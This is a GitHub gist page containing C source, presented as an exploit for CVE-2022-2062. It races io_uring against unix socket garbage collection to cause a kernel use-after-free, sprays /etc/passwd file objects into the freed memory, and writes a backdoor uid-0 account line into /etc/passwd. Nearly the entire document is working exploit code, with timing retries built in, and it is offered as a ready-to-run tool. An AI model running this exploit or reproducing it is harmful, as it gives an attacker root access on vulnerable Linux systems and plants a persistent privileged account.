Skip to content

Instantly share code, notes, and snippets.

@Mipu94
Last active March 26, 2023 17:35
Show Gist options
  • Save Mipu94/19c0be4ecaf3c00a3bce59b37f971da0 to your computer and use it in GitHub Desktop.
Save Mipu94/19c0be4ecaf3c00a3bce59b37f971da0 to your computer and use it in GitHub Desktop.
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <liburing.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <err.h>
#include <sched.h>
#include <errno.h>
#include <pthread.h>
#include <assert.h>
#include <crypt.h>
#include <sys/stat.h>
pthread_t tids[5];
pthread_mutex_t lock;
int start_slow_write, finished_slow_write, start_submit_io_uring, finished_gc ;
// move iovec to global so later we no need to wait init heap mem
struct iovec iov[20];
int offset;
void pin_on_cpu(int cpu) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(cpu, &cpu_set);
if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
perror("sched_setaffinity()");
exit(EXIT_FAILURE);
}
}
void print_affinity() {
cpu_set_t mask;
long nproc, i;
if (sched_getaffinity(0, sizeof(cpu_set_t), &mask) == -1) {
perror("sched_getaffinity");
assert(false);
}
nproc = sysconf(_SC_NPROCESSORS_ONLN);
printf("sched_getaffinity = ");
for (i = 0; i < nproc; i++) {
printf("%d ", CPU_ISSET(i, &mask));
}
printf("\n");
}
void *slow_write() {
char s[4];
int fd = open("/tmp/hihirwA", 1);
if (fd < 0) {
perror("error open uaf file");
exit(-1);
}
// 2GB max
printf("[P] P3 => Slowing write...\n");
start_slow_write = (int)clock();
printf("start slowing write after %d\n", start_slow_write);
pthread_mutex_lock(&lock);
if (writev(fd, iov, 20) < 0) {
perror("slow write");
}
print_affinity(0);
pthread_mutex_unlock(&lock);
finished_slow_write = (int)clock();
double spent = (double)(finished_slow_write - start_slow_write) / CLOCKS_PER_SEC;
printf("finished slowing write after %d, spend %f s\n", finished_slow_write, spent);
close(fd);
return 0;
}
int sendfd(int s, int fd)
{
struct msghdr msg;
char buf[4096];
struct cmsghdr *cmsg;
int fds[1] = { fd };
memset(&msg, 0, sizeof(msg));
memset(buf, 0, sizeof(buf));
msg.msg_control = buf;
msg.msg_controllen = sizeof(buf);
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(fds));
memcpy(CMSG_DATA(cmsg), fds, sizeof(fds));
msg.msg_controllen = CMSG_SPACE(sizeof(fds));
sendmsg(s, &msg, 0);
}
int wrap_io_uring_setup(int r, void *p)
{
return syscall(__NR_io_uring_setup, r, p);
}
int io_uring_enter(unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t *sig)
{
return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, sig);
}
int wrap_io_uring_register(unsigned int fd, unsigned int opcode, void *arg, unsigned int nr_args)
{
return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}
int prepare_request(int fd, struct io_uring_params *params, struct io_uring *ring, struct iovec* iov)
{
struct io_uring_sqe *sqe;
io_uring_queue_mmap(fd, params, ring);
sqe = io_uring_get_sqe(ring);
sqe->opcode = IORING_OP_WRITEV;
sqe->fd = 1;
//sqe->addr = (long) bogus; // POC
sqe->addr = iov;
sqe->len = 1;
sqe->flags = IOSQE_FIXED_FILE;
}
void setup_env(){
system("rm -rf /tmp/hihirwA");
if (access("/tmp/sleep", F_OK) == 0) {
} else {
// file doesn't exist
printf("init sleep file\n");
FILE * fp;
fp = fopen("/tmp/sleep", "w"); // "w" defines "writing mode"
fputs("500000", fp); // default sleep 0.5s
fclose(fp);
}
}
int get_sleep_time(){
FILE *fp;
char buff[255];
fp = fopen("/tmp/sleep", "r");
fscanf(fp, "%s", buff);
fclose(fp);
return atoi(buff);
}
void optimized_sleep_time(int time){
printf("optimized_sleep_time = %d\n", time);
if(time < 200000)
{
printf("slow_write have not enough time, please make sure available RAM size > 1G and /tmp space > 2G ");
}
clean_up();
FILE *fp;
fp = fopen("/tmp/sleep", "w");
fprintf(fp, "%d", time);
fclose(fp);
return;
}
void clean_up()
{
printf("clean up data...\n");
system("rm -rf /tmp/hihirwA /tmp/null /tmp/sleep");
}
int main(int argc, char **argv)
{
print_affinity();
printf("VSRC: exploit for CVE-2022-2062, contact mipu if the poc doesn't work.\n");
// atoi(argv[1]);
struct io_uring ring;
int fd, wait_time;
struct io_uring_params *params;
int rfd[32];
int s[2];
int backup_fd;
void* chunk;
unsigned long target_filename;
int target_fd;
struct stat st;
setup_env();
stat("/etc/passwd", &st);
int original_passwd_size = st.st_size; // Used later to verify that /etc/passwd has changed
int size;
wait_time = get_sleep_time();
printf("wait time: %d\n", wait_time);
pin_on_cpu(0);
print_affinity();
for(int i = 0; i < 800; i++)
open("/tmp/null", O_RDWR | O_CREAT | O_TRUNC, 0644);
// init mem to write later
unsigned long int addr = 0x30000000;
for (offset = 0; offset < 0x80000 / 20; offset++) {
void *r = mmap((void *)(addr + offset * 0x1000), 0x1000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if (r < 0) {
perror("slow write");
printf("allocate failed at 0x%x\n", offset);
}
}
assert(offset > 0);
printf("size: %d\n", offset);
void *mem = (void *)(addr);
memcpy(mem, "hhhhh", 5);
for (int i = 0; i < 20; i++) {
iov[i].iov_base = mem;
iov[i].iov_len = offset * 0x1000;
}
// end init mem
struct iovec iov[12];
iov[0].iov_base = "pwned:$1$aa$Sc4m1DBsyHWbRbwmIbGHq1:0:0:/root:/root:/bin/sh\n";
iov[0].iov_len = 59;
// create socket domain = local
socketpair(AF_UNIX, SOCK_DGRAM, 0, s);
params = malloc(sizeof(*params));
memset(params, 0, sizeof(*params));
params->flags = IORING_SETUP_SQPOLL;
fd = wrap_io_uring_setup(32, params);
rfd[0] = s[1];
// O_APPEND in order to append text and not overwrite everything
rfd[1] = open("/tmp/hihirwA", O_RDWR | O_CREAT | O_TRUNC | O_APPEND, 0644);
if(rfd[1] < 0)
printf("error\n");
else
printf("fd file target: %d\n", rfd[1]);
// 2 fd, 1 dau cua socket, 1 dau la dummy-file's fd
printf("[P] P1 => put dummy fd into io_uring\n");
wrap_io_uring_register(fd, IORING_REGISTER_FILES, rfd, 2);
close(rfd[1]); // close dummy file
sendfd(s[0], fd);
close(s[0]);
close(s[1]);
// P2
printf("[P] P2 => Creating thread for slow write on /tmp/hihirwA\n");
if(pthread_create(&tids[0], NULL, slow_write, NULL))
perror("pthread_create");
printf("[*] Sleeping while waiting that slow_write starts .. \n");
usleep(wait_time);// 0.5s
prepare_request(fd, params, &ring, &iov);
// P3/P4: should be immediate
printf("[P] P4 => Submit event write to sqe_uring\n");
start_submit_io_uring = (int)clock();
printf("start io_uring_submit after: %d\n", start_submit_io_uring);
io_uring_submit(&ring);
// io_uring_queue_exit(3) will release all resources acquired and initialized by io_uring_queue_init(3).
// It first unmaps the memory shared between the application and the kernel
// and then closes the io_uring file descriptor.
io_uring_queue_exit(&ring);
// we should wait 0.1s to make sure kernel freed the file object.
usleep(wait_time);// 0.1s
// Trigger unix_gc
printf("[P] P5 => Triggering unix_gc and freeing the registered fd\n");
close(socket(AF_UNIX, SOCK_DGRAM, 0));
printf("[*] unix_gc finished !\n");
printf("[P] P6 => Spraying /etc/passwd ..\n");
// Spray /etc/passwd files to re-fill the targeted chunk
for(int i =0; i < 600; i++){
open("/etc/passwd", O_RDONLY);
}
finished_gc = (int) clock();
// wait for slow write done, jst for finished_slow_write get correct val
printf("[*] Waits that the io_uring thread continues the writev operation while the process is still alive\n");
pthread_mutex_lock(&lock);
bool pwned = false;
// Loop until /etc/passwd is not changed
for(int i=1; i < 6; i++)
{
if(original_passwd_size == st.st_size){
stat("/etc/passwd", &st);
size = st.st_size;
sleep(1);
printf("waiting %ds\n", i);
}
else
{
pwned = true;
break;
}
}
if(pwned)
{
printf("gotcha user pwn !!!\n");
clean_up();
}
else // if failed => optimized sleep time for next run
{
printf("%d\n", finished_slow_write - start_slow_write);
printf("%d\n", finished_gc - start_submit_io_uring);
optimized_sleep_time(((finished_slow_write - start_slow_write) - (finished_gc - start_submit_io_uring ))-200000);
printf("failed!!\n");
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment